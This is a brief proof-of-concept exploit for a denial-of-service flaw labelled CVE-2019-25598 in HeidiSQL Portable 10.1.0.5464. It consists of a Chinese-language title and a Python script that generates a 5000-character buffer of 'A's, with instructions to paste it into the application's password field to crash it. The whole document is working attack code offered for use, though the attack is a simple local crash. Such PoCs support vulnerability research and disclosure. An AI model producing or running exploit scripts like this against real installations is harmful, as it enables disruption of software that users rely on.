CVE-2019-25598 HeidiSQL Portable拒绝服务漏洞

import sys # Proof of Concept (PoC) for CVE-2019-25598 # Description: Generates a long string buffer to crash HeidiSQL Portable 10.1.0.5464 # Usage: Run the script, copy the output, and paste it into the password field. def generate_payload(): # Create a buffer of 'A' characters. Size is arbitrary but large enough to trigger overflow. # 5000 bytes is typically sufficient to cause a DoS in this context. buffer_size = 5000 payload = "A" * buffer_size return payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25598...") payload = generate_payload() print(f"[+] Payload length: {len(payload)}") print("[+] Copy the string below and paste it into the HeidiSQL password field:") print(payload)